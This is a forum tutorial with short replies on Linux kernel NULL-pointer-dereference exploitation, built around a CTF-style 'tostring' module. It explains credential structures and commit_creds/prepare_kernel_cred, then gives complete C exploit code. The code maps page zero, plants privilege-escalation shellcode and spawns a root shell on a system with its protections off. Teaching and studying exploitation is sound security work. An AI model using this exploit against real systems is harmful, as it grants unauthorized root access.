Kernel Exploitation | Dereferencing a NULL pointer!

exploit
kernel
pwning
exploitation
linux

(exploit) #1

NULL Pointer dereference

In the name of Allah, the most beneficent, the most merciful.


  • Hello everyone to a boring article once again. :smiley:
  • I’ve found a bit of freetime, so i decided to write this article, it isn’t really well done, but i hope you guys like it and learn much :blush:!

Kernel Exploitation ?

  • Many of the people here probably never faced a kernel exploitation challenge…
  • So, i’ve decided that it’s a good choice to write about kernel exploitation a bit, and demonstrate some few basic stuff on it.
  • Instead of just popping a shell, it won’t lead to nothing, we need to raise our permissions first!

NULL Pointer dereference ?

  • It’s when a uninitialized or zero-ed out pointer is dereferenced, leading to making the PC/IP (Program counter/ Instruction pointer) point to 0, therefore, making the kernel panic!
  • The first thing is to check what protections are ON, in our case, all protections are turned OFF! ( Including Supervisor Mode Execution Prevention ) Which is similiar to DEP/NX ( No-Execute protection on user-land ) and also mmap_min_addr ( Don’t allow mmap()'ing a NULL address ), lucky us…
  • On ring0 modules, the goal differs, while in ring3 binaries we just focus on popping a shell, and enjoying the binary privileges, we need this time to modify our permissions. Luckily, there are some kernel structures, holding the current process privileges. What we’ll try doing is leveraging our credentials to root ones, and popping a shell after doing so.

How will we raise credentials ?

  • Before starting, we need to know what we should deal with:
  • Each process informations is stored as a task_struct!
  • a look on sched.h file:
struct task_struct {
/* ... */
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
/* ... */
}
  • There’s the effective subjective task credentials, declared as a cred struct!
  • a look on cred.h file:
struct cred {
/* ... */
  kuid_t		uid;		/* real UID of the task */
  kgid_t		gid;		/* real GID of the task */
  kuid_t		suid;		/* saved UID of the task */
  kgid_t		sgid;		/* saved GID of the task */
  kuid_t		euid;		/* effective UID of the task */
  kgid_t		egid;		/* effective GID of the task */
/* ... */
}
  • Here we’ll focus on the effective UID of the task ( euid declared as a kuid_t ); if we somehow succedd to set it’s value to 0, the current task will have root privileges!

How are we supposed to find them ?

  • Making use of some kernel symbols!
    Some functions can be used to leverage the current process credentials, their addresses are static, and can easily be reteived from a file, depending on the kernel we are dealing with:
  • /proc/kallsyms, /proc/ksyms, /dev/ksyms
    Some of these functions are declared in cred.c.

extern int commit_creds(struct cred );
/
… */
extern struct cred *prepare_kernel_cred(struct task_struct *);


- as we can see, the return value of **prepare_kernel_cred**() function is of type _struct cred *_, that we'll need to pass as an argument later to **commit_creds**(), so it can assign our freshly gained privileges to our current process!
- As a conclusion: we'll elevate our privileges by calling: **commit_creds**(**prepare_kernel_cred**(0));

- Understanding the vulnerability and how to trigger it!
An important thing before starting to write the exploit, is to know how to trigger the vulnerability itself! Know where that pointer is dereferenced and on what circumstances..

<img src="//0x00sec.s3.amazonaws.com/original/2X/e/e58140d7c67306779986d2c1a0aaf8580d1b1b03.png" width="300" height="440">
_**TADAAAAAAAAAAAAAAAAAAAAAAAAAAAA BORING THEORY**_

### Solving a Kernel challenge..

- And here we go again, let's check the challenge we were given.
Let's start by checking the protections:
<img src="//0x00sec.s3.amazonaws.com/original/2X/8/8aabb7459a979b2ddb579390da9224f97c41bf3c.png" width="690" height="173">
We are safe, all protections are OFF!
- On this function _tostring\_write()_, we can see that commands should always start with 10 '*'..
- When this kernel module is loaded, it'll call it's constructor, once on each run.
<img src="//0x00sec.s3.amazonaws.com/original/2X/1/179ffc021f3443e19df2e395345121c502a00f43.png" width="394" height="107">
- We can see that it will call _tostring\_create()_; This function is responsible in setting the function pointer in _tostring\_s struct_!
<img src="//0x00sec.s3.amazonaws.com/original/2X/4/4f684ecf0148b1459b570ce78acaafebd0b7b8c7.png" width="519" height="168">
- This is important, keep it in mind. So, the two pointers are set once on each run ( or if requested )..
<img src="//0x00sec.s3.amazonaws.com/original/2X/f/f281d055f9fffdf1a46fde00811f60bd9b5aa80c.png" width="690" height="183">
- Now we can easily recognize the vulnerable function, which is the following;
 ```c
 static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
char *bufk;
int i,j;
printk(KERN_INFO "Tostring: write()\n");
bufk = kmalloc(len + 1, GFP_DMA);
if (bufk){
  if (copy_from_user(bufk, buf, len))
      return -EFAULT;
  bufk[len] = '\0';
  i=0;
  while(i <len) {
    for (j=0;(j<10) && (bufk[j]=='*');j++);
    if (j == 10) {
      for (j=i+10;(bufk[j]!='\0') && (bufk[j] != '\n');j++);
      bufk[j]='\0';
      printk("Tostring: Cmd %s\n",bufk+i+10);
      switch(bufk[i+10]) {
      case 'H':
        tostring->tostring_read= tostring_read_hexa;
        break;
      case 'D':
        tostring->tostring_read= tostring_read_dec;
        break;
      case 'S':
        printk("Tostring: Delete stack\n");
        kfree(tostring->tostring_stack);
        tostring->tostring_stack=NULL;
        tostring->tostring_read=NULL;
        tostring->pointer=0;
        tostring->pointer_max=0;
        break;
      case 'N':
        printk("Tostring: Stack create with size %ld\n",local_strtoul(bufk+i+11,NULL,10));
        if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10));
        if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n");
        break;
      }
      i=j+1;
    }
    else {
      printk("tostring: insertion %lld\n",*((long long int *) (bufk+i)));
      if (tostring->pointer >= tostring->pointer_max)
        printk(KERN_INFO "Tostring: Stack full\n");
      else
        tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i));
      i = i+sizeof(long long int);
    }
  }
kfree(bufk);
}
return len;
}
  • As we can see, there’s a switch on what’s after the ten ‘*’, the most interesting one here… is ‘S’ case. It will nullset the function pointer tostring_read, which is good for us!
  • But, after setting it to null, we need to read from it, to cause it’s dereferencing, to do so, we will simply read the file, to trigger a call to tostring_read()!
  • We are good, let’s start writting our exploit. We were used on writting exploits with Python :cry:, We’ll be now using C instead…
  • Let’s start by writting a simple one, to trigger the call and zero-out the function pointer.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
/**/
#define vulnerable_device "/dev/tostring"
/**/
void main(void){
   int fd;
   char payload[15];
   /**/
   memset(payload, '*', 10);
   /**/
   payload[10] = 'S';
   payload[11] = 0;
   /**/
   fd = open(vulnerable_device, O_RDWR);
   if(fd < 0){
   	printf("Couldn't open device!");
   }
   /**/
   write(fd, payload, 12);
}
  • We are good for now, but we still need to cause it to dereference, only by reading the file, we can do that.

read(fd, 0, 1);


- Oh yeah, we got it, we made **IP** point to 0.. 
<img src="//0x00sec.s3.amazonaws.com/original/2X/6/6bc8da76c8a9d6d08532ddaa0494cce9f75c6664.png" width="642" height="53">
- Now, lucky us, **mmap_min_addr** protection is **OFF**. We can allocate a small area in NULL, and place our shellcode which going to raise our privileges..
- Let's get **prepare_kernel_cred** and **commit_creds** addresses from _/proc/kallsyms_!
<img src="//0x00sec.s3.amazonaws.com/original/2X/f/f0c266369e02e64be1724dd6f03156a03c23ce02.png" width="586" height="52">
<img src="//0x00sec.s3.amazonaws.com/original/2X/a/a76fb602e4d508411edc16f331937b18cd0a1d05.png" width="229" height="20">
- Now, i'll use rasm2, to make a small shellcode!
<img src="//0x00sec.s3.amazonaws.com/original/2X/9/9120df60878d62287e68e26d176a9fb628faaadf.png" width="641" height="50">
- The shellcode does the following:
<img src="//0x00sec.s3.amazonaws.com/original/2X/3/39efc3c8d432a58e06b4c8a8e340933a97e8b8e5.png" width="690" height="110">
- Let's add the shellcode part, before causing pointer dereference to our exploit!
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
/**/
#define vulnerable_device "/dev/tostring"
/**/
void pop_shell(){
  system("sh");
}
/**/
void main(void){
  int fd;
  char payload[15];
  char shellcode[15] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3";
  /**/
  memset(payload, '*', 10);
  /**/
  payload[10] = 'S';
  payload[11] = 0;
  /**/
  fd = open(vulnerable_device, O_RDWR);
  if(fd < 0){
  	printf("Couldn't open device!");
  }
  write(fd, payload, 12);
  /**/
  mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0);
  memcpy(NULL, shellcode, sizeof(shellcode));
  /**/
  read(fd, 0, 1);
  /**/
  pop_shell();
}
  • Let’s compile it, and run it!
  • And here comes our root shell poppin’!

  • Hope you guys enjoyed this small article, and learned as well!

~ exploit


(K3rnelmaster) #2

It’s a good tutorial :slight_smile:
It’s very helpful to understand what “dereferencing a null pointer” is.
Thank you exploit~


(exploit) #3

You are welcome, happy it helped you! :blush:


#4